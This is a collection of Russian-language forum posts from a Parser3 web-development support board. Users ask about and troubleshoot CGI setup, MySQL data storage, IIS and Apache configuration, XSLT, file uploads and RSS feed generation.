http://test.serzhantov.ru/cgi-bin/parser3.cgi\
скрипт веб-сервером НЕ выполняется!\
а вовсе даже предлагается пользователю для скачивания.\
\
это означает, что директива ScriptAlias отработала очень странно.\
вижу такое впервые.\
предлагаю задать техподдержке хостинга простой вопрос:\
«Пожалуйста, поясните, почему сейчас обращение по адресу\
http://test.serzhantov.ru/cgi-bin/parser3.cgi\
не приводит к запуску моего скрипта».\
\
конечно, предварительно сами внимательно перепроверьте доступные вам конфигурационные файлы.\
на тему странного."
"59223","вы пока утаиваете: в каком виде данные есть сейчас?\
т.е. пока непонятно, что удерживает вас от отдельных таблиц.\
\
ответы наугад: \
«загружать долго»\
если загружать это заливать в базу, то вы сами пишете, что это делается редко. а раз так, совершенно неважно сколько это может занимать времени (хотя ещё можно обсудить, что там кажется медленным).\
\
«выгружать долго»\
если сделать несколько простых индексов, скорость выборки по двум таблицам практически не будет отличаться от скорости выборки из многоколоночной таблицы (которая фу, безусловно).\
\
\
что до хитрого приёма:\
возможно, вас устроит XML.\
как я понял, поиск по этим группированным параметрам не нужен, а раз так: каждую группу в своё поле:\
[code]\
group1 text,\
group2 text\
[/code]\
и хранить их примерно так:\
[code]\
insert into table1 (group1, group2)\
values (\
'<width>123</width><height>55</height>',\
'<retail>66</retail><discount1>0.3</discount1>')\
[/code]\
\
тут дальше небольшое «но»: при выводе страницы использовать XSLT, о котором большевики уже давно зудят.\
тогда не придётся [b]ничего[/b] самому разбирать в этих xml'ках."
"59224","не очень понял, чего вы не поняли.\
урок 6, видимо, прошёл мимо вас?\
\
\
мне почему-то вспомнилось, как я в седьмом классе школы чертил из головы развёртку футбольного мяча, с отгибами, чтобы склеить.\
и склеил-таки.\
\
а! понял откуда такая ассоциация: «а у вас контейнер не клеится».\
\
забавно мозг работает."
"59226","точно, прошел мимо. разобрался, спасибо. тред можно удалить"
"59227","1. 20000 записей для sql при наличии индексов и при выборке без многоэтажных join/поздапросов - совсем не много\
\
2. вы предлагаете помочь решить очень абстрактную задачу. для нас слова \"группа\", \"параметр\" ни о чем не говорят: мы не знаем какие могут потребоваться манипуляции с ними. но в любом случае из приведенных вами тут вариантов я не воспользовался бы ни одним. я скорее всего или сделал бы ещё две таблицы (группа и параметр) или одну (группа и её 20 параметров). если же группы/параметры не будут участвовать в поиске никогда - то я использовал-бы текстовое поле с xml, как уже написал ПАФ."
"59228","[quote]вы пока утаиваете: в каком виде данные есть сейчас?[/quote]\
Сейчас данные лежат в файлах, сжатых в JPEG2000. Я их разжимаю специальной программкой, и разбираю несжатые бинарные данные скриптом. Все данные в сжатом виде весят 1.5Гб...\
\
Алгоритм разбора данных такой, что я получаю данные для всех ID (все строки таблицы) поочередно для каждого параметра (из 150). Поэтому, держать данные в разных таблицах мне кажется удобным: запросто можно и добавлять их туда по очереди, а не создавать в памяти огромный массив.\
\
А XML совсем не подходит. Если разместить 150 различных float (4 байта) величин в XML, они будут занимать 2.5 килобайта вместо 600 байт. Это если их записывать в виде \"<d>-2.324E-6</d>\". А разница в объеме таблицы БД в несколько десятков мегабайт для меня важна, т.к. у меня таких таблиц будет 60 штук (на разные интервалы времени)."
"59229","[quote]для нас слова \"группа\", \"параметр\" ни о чем не говорят[/quote]\
[b]Параметр[/b] -- это число, float, исходно содержит 4 байта.\
[b]Группа[/b] -- это просто несколько параметров, которые мне нужно будет использовать вместе.\
\
Про XML я ответил ПАФу.\
\
Про несколько таблиц: да, мне этот вариант тоже нравится. Структура получается красивая. Только вот сейчас я подумал, а зачем мне красивая структура? Да пусть себе валяются в виде 150 полей таблицы. Зато заполнять таблицу можно не используя INSERT, а сделав LOAD DATA INFILE.\
\
20000 строк -- да, это не очень много. Но хочется, чтобы всё работало действительно быстро. Ради этого, пожалуй, можно отказаться от красивой структуры БД."
"59230","[quot]\
Группа -- это просто несколько параметров, которые мне нужно будет использовать вместе.\
[/quot]\
\
это всегда фиксированное количество параметров, и всегда одни и те-же параметры?\
\
[quot]\
 Зато заполнять таблицу можно не используя INSERT, а сделав LOAD DATA INFILE.\
[/quot]\
\
ничего не мешает делать 2-3 load data infile\
\
[quot]\
Но хочется, чтобы всё работало действительно быстро. Ради этого, пожалуй, можно отказаться от красивой структуры БД.\
[/quot]\
\
\"красота\" - не самоцель и иногда от неё приходится отказываться. однако это не какая-то гипотетическая никому не нужная сущность. красота == правильная организация данных == возможность легко и просто менять _потом_ что-либо. в вашем случае я считаю этим не стОит жертвовать. или можете быстренько реализовать пару вариантов БД, залить данные (тестовые), сделать ваши запросы и посмотреть, есть ли большой проигрыш в скорости.\
\
[quot]\
Про XML я ответил ПАФу.\
[/quot]\
\
очень неубедительно ответили. размер БД (т.е. дисковое пространство) - самый дешевый и легковосполняемый рессурс. дешевле чем память, процессорное или ваше время, которое потребуется для реализации/поддержки системы. говорить о размере передаваемых данных особого смысла не вижу, т.к. передаваться для отображения должно не много данных + mysql умеет сжимать передаваемые данные."
"59231","антиспам был прикручен давно и у вас с тех пор я не наблюдал этой проблемы (+ почему он тут не сразабывает - отдельный вопрос). не очень давно я переделывал js, чтобы работал ctrl+enter и чтобы перестал работать enter в поле заголовок, возможно тут ошибся. однако я не знаю как вы отправляете сообщение - нажатием кнопки мышью или с помощью ctrl+enter?\
\
давно нужно было приделать disable кнопки при нажатии на неё - постораюсь сделать это после выходных."
"59232","[quote]Даже при добавлении одного файла, если можно будет на него ставить ссылку, занчит он уже сохранен? и местоположение его известно? так в чем проблема [file_id]_1, [file_id]_2 и т.д. можно обозвать их, и вся проблема.[/quote]\
\
В том-то и дело, что если он сохранен, то он же и должен удаляться. При добавлении файлов в создаваемую статью файлы должны сохраняться во временную папку (так как есть вероятность, что пользователь нажмет \"отмену\", \"Alt-F4\" или просто \"ресет\"), которая затем должна как-то удаляться. При добавлении файлов к уже созданной статье файлы можно сразу помещать туда куда нужно.\
\
[quote]P.S.: в cookie нельзя записывать огромное кол-во информации :), так что ничео не выйдет.[/quote]\
\
Странно, а у меня получалось в один кукез записать более 500 КБ... Может быть это из-за того, что стоит IE7?\
\
Кстати, скрипт, который я привел, рабочий ) Только понятное дело громоздкий, и, что важнее, там отсылка ВСЕХ данных происходит одновременно (( Если прикреплять много файлов - можно не дождаться.\
\
[quote]удалять - просто записать пустое значение $cookie:name[] - но иногда это почему-то вызывает глюк и они не удаляются...[/quote]\
\
Уж да..."
"59233","можно написать js, который при нажатии на определенную кнопочку будет добавлять вам доп. <input type=\"file\"/> с автоматически созданным name (md5(время+ip)) и добавлять этот md5 в какуо-нить hidden.\
\
при таком подходе пользователь, ещё не загрузив файл может указать куда этот файл поместить (в смысле куда в его текст поместить ссылку/img src на него). на сервере вы сможете считать эти файлы и сохранить в временной хранилище + запомнить когда они загружены (hashfile, sql, файлики) и если пользователь закомитил изменений - переместить файлы на постоянное место хранения, а временное хранилище периодически чистить.\
\
файл в кукисы? прикольно, но по стандарту там может храниться только 4 КБ.\
\
P.S. у меня никогда удаление кукисов глюков не вызывало."
"59234","[quote]это всегда фиксированное количество параметров, и всегда одни и те-же параметры?[/quote]\
фиксированное количество. всегда одни и те же. если какой-то параметр на удалось получить, можно прописать NULL. но это исключительная ситуация.\
\
насчет 2-3 (точнее, 10-35 LOAD DATA INFILE) согласен. только если их будет много, я проверю, дает ли такая схема прирост в скорости по сравнению с INSERT. ведь данные нужно сбрасывать на диск... в общем, по этому поводу я читаю доки MySQL. там всё хорошо описано.\
\
\
Экспериментирую с тестовыми данными. Вот какие результаты на данный момент:\
\
Самая большая проблема: сервер отказывается выделять 200Мб памяти под скрипт, который заливает данные в БД. Придется это делать кусочками, чтобы не держать в памяти большой массив.\
\
XML данные действительно занимают в 5 раз больше места в БД. Заливать XML по частям очень неудобно: нужно сначала создавать все строки таблицы, а потом добавлять данные в одно поле (это небольшой минус).\
\
Сейчас пробую делать такую таблицу в БД:\
id	param_name(set)	value(float)\
...\
\
\
И конкретный вопрос по Парсеру: как сделать float из бинарных данных? Если подробнее, то я хотел бы получить из базы 4*150 байт и сделать из них 150 переменных типа float.\
Если получится, этот вариант тоже попробую и сравню по производительности с остальными..."
"59235","откуда 10-35 load-ов то?\
\
откуда 200 МБ под скрипт загрузки? загружать данные нужно с помощью load data infile, который грузит быстро и не загружает файл в память целиком, а делает это построчно (можете скачать архив форума + скрипта загрузки и заодно посмотреть на скорость загрузки 50 тыс. текстовых сообщений).\
\
[quot]\
XML данные действительно занимают в 5 раз больше места в БД.\
[/quot]\
\
и что? про цену hdd я писал. про проблемы с загрузкой данных я не понял: вы все равно будете готовить данные для load data infile, и подготовить их так, чтобы в один столбец грузился xml - не проблема.\
\
[quot]\
И конкретный вопрос по Парсеру: как сделать float из бинарных данных? \
[/quot]\
\
никак. парсер получает от sql сервера только строки. и лишь затем может сделать из них числа.\
я не понимаю что вы пытаетесь сравнивать, ведь вначале речь идет о хранении данных, а получение парсером float значений - выборка, при этом выбираться будет не много записей."
"59236","то, что объем hdd обходится не дорого, еще не повод тратить его зря.\
\
про 200 Мб на скрипт:\
данные нужно загрузить в память, интерполировать и потом писать в базу. исходно данные я получаю в виде файла, в котором последовательно лежат значения первого параметра для всех точек, потом значение второго параметра и т.д. То есть, я могу вытащить оттуда все значения нужного параметра (это около 1.5 Мб), интерполировать их на нужные точки и записать в БД. А вот вытащить значения всех параметров для одной точки -- это накладно по ресурсам.\
\
\
в общем, вопрос хранения данных закрыт. видимо, я не могу достаточно хорошо описать проблему. я думал, есть стандартное решение такой проблемы, поэтому и задал вопрос на форуме.\
\
\
а вот про float из бинарных данных всё еще интересно:\
я понимаю, что парсер получит строку вида 9f7d 308d 3h32.... (можно и без пробелов).\
вопрос -- как из неё сделать числа? про шестнадцатиричную запись целых чисел я в документации читал. а как быть с float?"
"59237","Большое спасибо за подсказку... для того чтобы работал парсер на IIS 6.0 необходимо прописать его так-же и в Web Service Extension...\
Но...\
Но это еще не все... Самое главное, [b]это нужно разрешить серверу выполнять 32-битные скрипты на 64-битной среде[/b]\
Вот в этом и была вся загвоздка... так-же до этого я пытался установить PHP и естественно - неудачно, хотя все мои действия были по инструкции...\
\
Вот что нашлось в дебрях MSDN\
\
[quote]On 64 bit IIS loads all extensions in 64 bit mode by default. Since php5isapi.dll is 32 it freaks out but doesn’t give an errors just a 500 error on php pages. So in order to get it to work on IIS 6 64-bit you need to run the following at the command line. \
\
[b]cscript %SYSTEMDRIVE%\\inetpub\\adminscripts\\adsutil.vbs SET W3SVC/AppPools/Enable32bitAppOnWin64 1[/b] \
\
This enables both 64 and 32 bit extensions.[/quote]\
\
И только после этих рействих все заработало...\
Правда появилась проблемка, но это уже другая тема...\
\
Инфу выше желательно добавить в инструкцию по установке"
"59239","дайте почитать про сабж , на русском .\
Спасибо"
"59240","В субботу вечером, читая этот текст как бальзам на душу ложаться эти слова. Все мы люди и у всех есть заморочки с поддержкой.\
\
Понимаю. Спасибо за.. Просто спасибо за внимание."
"59241","http://www.google.ru/search?q=%D0%98%D0%BD%D0%B4%D0%B5%D0%BA%D1%81%D1%8B+%D0%B2+MySql"
"59242","предлагаю подумать о том, что сначала записать в базу сырые данные. не обрабатывать.\
и лишь затем начать обработку. вполне возможно, SQL сервер вам очень поможет упростить код обработки и ускорить процесс.\
\
если вы знаете формат упаковки float в представленное число, то легко разберёте.\
хотя цифра 'h' в вашем примере наводит на ощущение, что не знаете.\
\
http://en.wikipedia.org/wiki/Double_precision\
http://en.wikipedia.org/wiki/Floating_point"
"59243","[quote]если вы знаете формат упаковки float в представленное число, то легко разберёте.\
хотя цифра 'h' в вашем примере наводит на ощущение, что не знаете.[/quote]\
не знаю. правда, чтобы не написать 'h', много знать не надо... :-)\
спасибо за ссылки, там как раз то, что хотелось узнать.\
\
[quote]предлагаю подумать о том, что сначала записать в базу сырые данные[/quote]\
В БД получится 2Гб информации (и 5.8x10^8 строк). Хотя, я доделал свой вариант скрипта (с интерполяцией) и понял, что сырые данные в БД - это очень хорошая мысль. Скрипт с интерполяцией и записью выборочных данных требует 10 минут процессорного времени (на Intel Xeon 3ГГц). Так что, о виртуальном хостинге придется забыть ;-(\
\
Функции, потребляющие больше всего процессорного времени: интерполяция (60%) и подготовка запроса в БД (35%). Сейчас думаю, как их оптимизировать. Может быть, переделаю на C++ (поможет ли?)... Может быть, буду записывать данные без интерполяции (но только те, которые нужны для того, чтобы провести интерполяцию потом)."
"59249","Есть переменные \
[code]$field_A[новое значение]\
и \
$field_B[осталось старое значение][/code]\
Есть хэш $Upd, где единицами отмечены поля, которые надо обновить:\
[code]$Upd[\
  $.field_A[1]\
  $.field_B[0]\
][/code]\
\
Составляю SQL UPDATE куда хочу включить только отмеченные единицами поля.\
Как это сделать?\
[code]$sqlUpd[\"UPDATE myTable SET \"]\
^Upd.foreach[key;value]{ \
  ^if($value){\
    $sqlUpd[$sqlUpd [b]$key=$$key[/b]]\
  }\
}[$sqlUpd[ , ]][/code]\
\
[b]$key[/b] как имя поля = [b]$key[/b] как значение переменной.\
\
Не пойму, как такое записать..  В доке пишется что лишь часть имени переменной может быть значением другой переменной:\
[quote]В качестве части имени может быть использовано… \
…значение другой переменной: \
$superman[value of superman variable] \
$part[man] \
$super$part \
Возвратит: value of superman variable [/quote]"
"59251","Или когда?"
"59252","Добавил в auto.p [b] @navigation[] [/b], сделал sections.cfg. Но когда сделал голый index.html и написал в первый строке [b] ^navigation[] [/b] выдает ощибку \
\
[code]\
[b]В работе Parser произошла ошибка:[/b]\
method_frame may not be overwritten with junction, store it to variable instead\
\
[b]Ошибку вызвал этот фрагмент:[/b]\
main - [i] Откуда он взялся :) [/i]\
\
[b]Ошибка произошла при работе с файлом:[/b]\
/nav/index.html, строка номер 1\
\
[/code]\
 \
Заранее спасибо ;)"
"59254","- он появляется, если собираете с соотв. опциями\
- описание по использованию есть в operators.txt\
- доделать чтобы перекодирование принятого работало совсем хорошо не сложно, но нам не было нужно"
"59255","что конкретно означает эта ошибка - можете посмотреть в FAQ\
\
варианты:\
- double check (вы точно написали ^navigation[], а не $navigation?)\
- скачайте Швейцарский ножик, там уже есть готовый первый урок (только я не уверен что с подобным подходом у вас получится второй)\
- приведите здесь (с использованием проверенной временем технологии copy/paste) код саших файлов полностью (после самостоятельной проверки)"
"59257","[quot]только я не уверен что с подобным подходом у вас получится второй[/quot] =)))\
\
[b]auto.p[/b]\
@navigation[]\
$sections[^table::load[sections.txt]]\
  <table width=\"100%\" border=\"1\">\
    <tr>\
      $sections.menu {\
        <td align=center>\
          <a href=\"$sections.uri\">$sections.name</a>\
        </td>          \
      }\
    </tr>\
  </table>              \
\
[b]sections.cfg[/b]\
\
sections_id name url\
1 Сайт1 site1.html\
2 Сайт2 site2.html\
3 Сайт3 site3.html\
4 Сайт4 site4.html\
5 Сайт5 site5.html\
\
[b]index.html[/b]\
\
^navigation[]"
"59258","ещё раз: проверьте как вы используете метод таблицы menu в вашем методе navigation. у вас так две ошибки.\
\
P.S. теперь я уверен, что по поводу \"подхода\" я не ошибся."
"59259","Как заставить метод работать на localhost?\
Таблица есть, данные в таблице есть, какой путь необходимо указать и какой тип файла, многое перепробовал, но таблица так и не сохранилась... И еще: если таблица создана nameless, то и сохранять ее надо обязательно: ^таблица.save[nameless;путь]?"
"59260","[quote]какой путь необходимо указать и какой тип файла[/quote]\
путь и файл значения не имеют. Главное чтобы они не противоречили системным требованиям (т.е. :::^файл!.txt не покатит). Слеши лучше ставить юниксовые (прямые /), иначе при переносе на хостинговую тачку менять придётся.\
\
Пример нормального названия и пути: /table.txt"
"59262","Подскажите пожайлуйста, есть проблемка...\
Есть файл в формате [b]xml[/b], есть шаблон в формате [b]xsl[/b], хочу использовать рарсер для генерации кода [b]html[/b] на стороне сервера.\
В примерах нашел вот такой код:\
\
[code]# входной xdoc документ\
$sourceDoc[^xdoc::load[article.xml]]\
\
# преобразование xdoc документа шаблоном article.xsl\
$transformedDoc[^sourceDoc.transform[article.xsl]]\
\
# выдача результата в HTML виде\
^transformedDoc.string[\
    $.method[html]\
][/code]\
\
Создаю файл HTML, вставляю туда этот код, подставляю свои файлы, в результате получаю следующее:\
\
[quote][b]Unhandled Exception\
\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.[/b][/quote]\
\
что я делаю не так? Парсер установлен, тестовый файл работает..."
"59264","Ошибка , гляньте в лог файл парсера (parser.log), лежит он там-же где и парсер"
"59265","[Mon Mar 05 16:33:26 2007] [3576] /processor.p?: C:/Inetpub/wwwroot/processor.p(9:19): syntax error, unexpected $end, expecting ']' [parser.compile]"
"59269","в зависимости от задачи, sql сервер может помочь сильно/слабо.."
"59270","Собсно наткнулся.\
\
В форму передаю файл tab-delimited. При .menu{} таблицы выясняется, что в ней одна, но длинная строка.\
\
А как так?"
"59273","Собственно, скомпилилось всё нормально.\
[code]Parser/3.2.1 (compiled on i386-unknown-freebsd5.5)[/code]\
\
Парсер лежит в /cgi-bin/ с нужными правами\
Драйвер скомпилен и лежит в /cgi-bin/lib/\
\
Результат — многообещающее и убогое:\
[code]./lib/libparser3mysql.so\
can't open the module[/code]"
"59278","Можно ли перед xsl:call-template проверить его на существование ?\
Если да то как?"
"59279","[code]\
<xsl:if test=\"document('')/xsl:stylesheet/xsl:template[@name='name']\">\
	blablabla\
</xsl:if>\
[/code]\
\
только зачем..."
"59280","Есть таблица, в ней например два столбца id и date. \
\
[code]$t[^table::create{id  name\
1  1171975191\
2  1171975195\
.....\
}]\
[/code]\
\
нужно выбрать значения в соответствии со значениями столбцов, которые храняться в хэше, т.е. так:\
\
[code]\
$hParam[^hash::create[]]\
$hParam.id[101]\
#$hParam.date[1171975811]\
\
$t2[\
	^t.select(\
		^hParam.foreach[k;v]($t.[$k] eq $v)[ && ]\
	)\
][/code]\
\
Вот так ^^^ все работает, но если в хэш добавить еще один параметр (убрать комментарий), работать перестает и вываливается с ошибкой:\
\
[quote]foreach\
bool may not be overwritten with bool, store it to variable instead[/quote]\
\
если в foreach поменять () на {}, то ошибка уже другая\
\
[quote]1 eq 101 && 1171975191 eq 1171975811\
invalid number (double)[/quote]\
\
т.е. подставляются уже конкретные значения..\
\
как добится желаемого?"
"59282","символы '&&' в данном случае - просто выведенные буквы, они совсем не обязаны процессится.\
\
[code]@isRowValid[hLine;hParam][k;v]\
$result(true)\
^hParam.foreach[k;v]{^if($result && $hLine.$k ne $v){$result(false)}}\
\
\
@yourMethod[]\
...\
^t.select(^isRowValid[$t.fields;$hParam])\
...[/code]"
"59285","Пример\
^archive.save[text;/arch/archive.txt]\
\
Пример сохранит объект класса file в текстовом формате под именем archive.txt в каталог /arch/."
"59286","[code]\
$desc_body[\
  ^#40dir_desc^#5b^#5d\
\
  $somevar1\
  ^#40title_image^#5b^#5d\
  $somevar2\
]\
$tpath[$path/$dir/file.txt]\
^desc_body.save[$tpath]\
[/code]\
\
на что парсер говрит:\
'save' is 'junction', it has no elements [parser.runtime]"
"59288","Заработался.\
Забыл перекурить - и завис на одном глупом месте."
"59291","На заказ в любом случае придётся выложить кругленькую сумму. Рекомендую готовое программное обеспечение интернет-магазина ArwShop."
"59292","есть сайт 2pay.ru\
сделал алиас shurick.ru\
\
почему \
http://shurick.ru/geo/ - рабтает как ожидалось, а\
http://shurick.ru/geo  - редиректит на http://2pay.ru/geo/"
"59293","Допустим я решил немного исправить содержимое сайта shurick.ru правильно ли использовать переменную $env:HTTP_HOST для этого?"
"59294","где-то тут на форуме, помниться, были обсуждения как лучше сделать, например, для новостей адреса типа http://site/news/day/month/year/ - т.е. более запонимающимися, а не http://site/news/?day=day&month=month&year=year.\
причем не с помощью mod_rewrite а что-то вроде перехвата/обработок ошибки 404."
"59295","1. Вы загружаете файл sections.txt, а описываете sections.cfg\
2. Используете $sections.uri, а в самой таблице поле url\
3. Прочтите внимательно про метод menu."
"59296","сорри за, возможно, неуместную шутку  :)"
"59299","Делаю \
\
[code]$photo[^image::measure[http://site.ru/images/obj/${id}-${PhotoNum}_smal.$extension]]\
^photo.html[\
  $.border[2]\
][/code]\
\
Получаю\
\
http://site.ru/images/obj/6-6_smal.jpg\
measure failed: No such file or directory (2), actual filename 'http_3A//site.ru/images/obj/6-6_smal.jpg'\
\
Указываю полный путь, т.к. site.ru - синоним site0.ru и его файлы лежат в site0/www/site/тут, а 6-6_smal.jpg соответственно в site0/www/site/images/obj/6-6_smal.jpg \
\
Как избежать преобразования http:// в http_3A// ?"
"59300","@auto[]\
$connect_string1[mysql://user:pass@server1.ru:port/base]\
$connect_string2[mysql://user:pass@server2.ru:port/base]\
\
\
@main[]\
^connect[$connect_string1]{\
^connect[$connect_string2]{\
^body[]\
}\
}\
\
@body[]\
выборка из базы 1. Нужно ли уточнять, из какой базы брать данные? Если да, то как.\
выборка из базы 2. Если нет, то что будет, если в обоих базах есть одинаковые таблицы, но с разными данными?"
"59301","$request:uri выдает http://www.site.ru/site/index.html\
а нужно http://www.site.ru/index.html\
Документ находится в site0/www/site/index.html\
Как сделать?"
"59302","загрузите его с помощью file::load и потом измеряйте (записывать не обязательно, можно передать файл)"
"59303","[quot]\
1. Нужно ли уточнять, из какой базы брать данные? Если да, то как.\
[/quot]\
помещять запрос нужно внутрь соответствующего connect-а.\
\
\
1.\
[code]\
^connect[$connect_string1]{\
	$var1[^table::sql{запрос к 1 БД}]\
}\
\
^connect[$connect_string2]{\
	$var2[^table::sql{запрос ко 2 БД}]\
}\
[/code]\
\
\
\
2. используя sql-ные классы из примеров:\
[code]\
$oSql1[^MySql::create[$connect_string1]]\
$oSql2[^MySql::create[$connect_string2]]\
$var1[^oSql1.table{запрос к 1 БД}]\
$var2[^oSql2.table{запрос ко 2 БД}]\
[/code]"
"59304","Брать uri после корня новостей и смотреть отсдельно.\
\
[code]$uri[^uri.split[/;lh]]\
$uriCount[^uri.flip[]]\
\
^switch[^uriCount.count[]]\
^case[1]{\
	$year[$uri.0]\
}\
^case[2]{\
	$year[$uri.0]\
	$month[$uri.1]\
}\
^case[3]{\
	$year[$uri.0]\
	$month[$uri.1]\
	$day[$uri.day]\
}\
}[/code]\
\
Только в каждом свиче надо проверять на наличие новостей по дате и, собсно, оhать об $MAIN:error.\
\
Можно так."
"59305","правда под другим именем: HeidiSQL\
\
живут тут: http://www.heidisql.com/\
\
некоторые подробности:\
http://www.heidisql.com/forum/viewtopic.php?t=44\
\
P.S. на mysqlfront.de можно прочитать интересности :)\
P.P.S. у него есть косяк с русскими буквами: после соединения с БД надо ручками давать команду SET NAMES ... (раньше была опция) :("
"59307","Как оно в работе, не падает?"
"59308","неужели с 3.2 все настолько плохо?\
\
в общем не падает, как не падал и 2.5 (точнее была какая-то единственная операция, на которой он у меня падал всегда, но я уже не помню какая, т.к. она не нсобо нужная), только неприятно, что надо SET NAMES говорить и ещё появилась бага, из-за которой нельзя подключиться к серверу если в пароле есть символ ';' (в 2.5 её не было).\
\
зато с mysql 4.1 и выше и \"новыми\" паролями все ok :)"
"59309","Вобщем. появилось желание сделать ленту новостей для своего хобби http://fin.perm.ru\
\
Сделал - http://www.fin.perm.ru/news/news.rss\
\
[code]$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<rss version=\"2.0\">\
	<channel>\
		<title>Fin.Perm.ru: Новости банков Перми</title>\
		<link>http://www.fin.perm.ru</link>\
		<description>Новости о кредитах (ипотека, автокредит, кредит на неотложные нужды) и вкладах города Перми на сайте Fin.Perm.ru</description>\
		<language>ru</language>\
		<lastBuildDate>^rss_date[^data.sql-string[]]</lastBuildDate>\
		<ttl>300</ttl>\
		<image>\
			<title>Банки Перми</title>\
			<url>http://www.fin.perm.ru/teron.gif</url>\
			<link>http://www.fin.perm.ru</link>\
		</image>^news.menu{\
		<item>\
			<title>$news.title</title>\
			<link>http://www.fin.perm.ru/news/?id=$news.id</link>\
			<description>$news.text</description>\
			<guid isPermaLink=\"true'\">http://www.fin.perm.ru/news/?id=$news.id</guid>\
			<pubDate>^rss_date[$news.data]</pubDate>\
		</item>}\
	</channel>\
</rss>}] \
\
$response:body[^document.string[]][/code]\
\
Но почему-то нехочет работать. Правильнее так - некоторые читалки его читают, но не все. Не один браузер его нормально непоказывает. Ну вот если открыть моё творение и rss поток этого форума то разница будет на лицо. Хотя структура одна и таже. Что где и как я нетак делаю? (("
"59310","красными немецкими окошками, поработав долго, что усугубляется работой в несколько сеансов с разными серверами...\
Бывает показывает записи в таблице, которые удалены, не реагируя на принудительное обновление.\
Но, в целом терпимо, уже научился сохранять query и быстро прибивать front при глюках."
"59311","Дело такое: поставил я эту прелесть, всё заработало, всё вообще круто, но... Возможно я далеко не первый,кто задаёт подобный вопрос, но всё же..: поставил я себе форум. Со своей машинызахожу без проблем (http://127.0.0.1), но со внешнего инета не пускает. Отвечает Апач. Если подправим вот это: \
################## Virtual hosts: ########################   \
   \
NameVirtualHost     127.0.0.1   ### Эта была закоментирована, но от неё вообще ничего не изменилось ###\
   \
<VirtualHost         192.168.0.1> ### Здесь стояло 127.0.0.1 ###  \
    ServerName                  leoniduses.homeip.net   \
    DocumentRoot                \"D:/FTP/Сайты/localhost01/html/\" \
\
До 192.168.0.1 - всё работает, теперь я ввожу в браузере http://192.168.0.1 (у компа именно этот адрес) и всех пускает, но не работает переадресация (перекидавает на 127.0.0.1). Что делать?"
"59312","Нумеро уно:[code]$response:content-type[\
        $.value[text/xml]\
        $.charset[windows-1251]\
][/code]Нумеро дуэ:\
\
http://www.feedvalidator.org/check.cgi?url=http%3A%2F%2Fwww.fin.perm.ru%2Fnews%2Fnews.rss"
"59313","Изучаю парсер на практике, пытаясь написать управление небольшой базой товара.\
Для добавления новой марки товара описал следующий метод:\
\
@body_main[]\
    $it[^items::create[brand;goods_brand;марка]]\
    ^it.show_items[]\
    ^it.show_add_or_del_form[]\
    ^it.test_and_add_item[]\
\
в котором используются методы класса items.\
Всё прекрасно заработало. Как же иначе, ведь это полный аналог описанной в \"Руководстве ...\" гостевой книги.\
\
Но вызов должен происходить из формы описанной следующим образом:\
\
<form method=\"post\" action=\"/admin/adm_main.html\">\
	Что будем делать?<br>\
	^act.menu{<input type=\"radio\" name=\"choise\" value=\"$act.id\">$act.action<br>}\
	<input type=\"submit\" value=\"Приступим?\"></span>\
	</form>\
\
Возникает необходимость обработки параметра $act.id, поэтому    \
я внёс проный метод ^if: \
\
@body_main[]\
^if($form:choise+0 == 21){\
    $it[^items::create[brand;goods_brand;марка]]\
    ^it.show_items[]\
    ^it.show_add_or_del_form[]\
    ^it.test_and_add_item[]\
    }\
\
...и всё перестало работать.\
\
Точнее отрабатывается сравнение, создаётся объект it, выдаётся список уже существующих записей в базе, выдаётся форма для занесения новой марки, а после нажатия на кнопку \"внести\" вызов ^it.test_and_add_item[] просто игнорируется. Т.е. в базу ничего не записывается, происходит повторное выполнение ^if($form:choise+0 == 21){..., конечно же, с новым наполнением полей класса form.\
\
Такая непонятка. ПОМОГИТЕ.\
\
Код передан в первоначальном виде, хотя на данный момент он оброс различными метками для отслеживания процесса работы.\
Причём такая же история и с методом switch.\
\
Ниже приведены два метода из класса items:\
\
@show_add_or_del_form[]\
<form method=\"post\">\
Как называется новая $name_item товара? <br><input name=\"item\">\
<input type=\"submit\" value=\"Внести в базу\" name=\"post\">\
</form>\
\
@test_and_add_item[]\
$form:item\
^if(def $form:post){\
    ^if(def $form:item){\
^MAIN:dbconnect{\
    ^void:sql{insert into $table_item values (null,'$form:item')}\
	}\
	$response:location[$request:uri]\
    }{\
	Вы не ответили на вопрос.\
    }\
}"
"59314","Неужели суперпрограммисты повымерли возле Павловска?.. Или может оклад маленький?.. Может условия ужасные?.. Напишите, пожалуйста, свои соображения/вопросы!"
"59316","это понятно... интересен сам принцип...\
\
допустим пользователь набирает в строке http://site/news/08/03/2007/\
\
такой директории физически нету, поэтому получается 404.\
пишем в .htaccess ErrorDocument 404 /redirect.html\
и уже в файле redirect.html пытаемся узнать, что пользователь хотел увидеть и выдаем ему это. теория верна?\
\
и другого пути нету?"
"59317","[code]$env:REDIRECT_URI[/code]\
возможно, оно.\
\
ещё в природе бывает\
[code]$env:REDIRECT_REDIRECT_URI[/code]\
\
всё зависит от количества внутренних redirect по пути от строки адреса до вызова обработчика страницы."
"59318","$request:uri всегда выдает то, где находится пользователь. Зачем его менять?\
если для каких-либо сравнений, можно занести его в переменную и работать с ней"
"59319","если нет, можно вообще выкинуть NameVirtualHost и директивы <VirtualHost> и </VirtualHost>, оставить директивы в чистом поле (стереть похожие директивы выше по httpd.conf).\
\
так \
* и вам выйдет понятнее (вы явно путаете локальные и глобальные интернет сети),\
* и Апачу проще понять, что вам от него нужно."
"59320","Создавать xdoc не нужно совсем - достаточно просто сформировать xml."
"59321","все еще выдает 1 ошибку. Не могу понять что там не то\
\
http://www.feedvalidator.org/check.cgi?url=http%3A%2F%2Fwww.fin.perm.ru%2Fnews%2Fnews.rss"
"59322","Нет. Мне нужен только один."
"59323","Спасибо конечно, только теперь вообще ничего не работает(( Пожалуй можно попробовать вернуть те строки и переставить форум заново. Я просто не щнаю куда заходить."
"59324","рядом есть ссылка \"help\" - http://www.feedvalidator.org/docs/error/InvalidRFC2822Date.html\
\
время в неправильном формате, хотя стрелка не туда показывает :)\
\
если выборка из MySQL - можно дату сразу в нужном формате выводить:\
DATE_FORMAT(date, '%a, %d %b %Y %H:%i:%S')"
"59328","Как возможно избежать одновременного редактирования новости и т.п.?"
"59330","Там описаны некоторые подходы. В общем случае надо перед редактированием выставлять некоторую блокировку (например в хранилище данных), только делать это надо аккуратно."
"59331","На странице /news/ в <head> надо добавить:\
<link rel=\"alternate\" type=\"application/rss+xml\" title=\"Новости банков Перми\" href=\"/news/news.rss\" />\
\
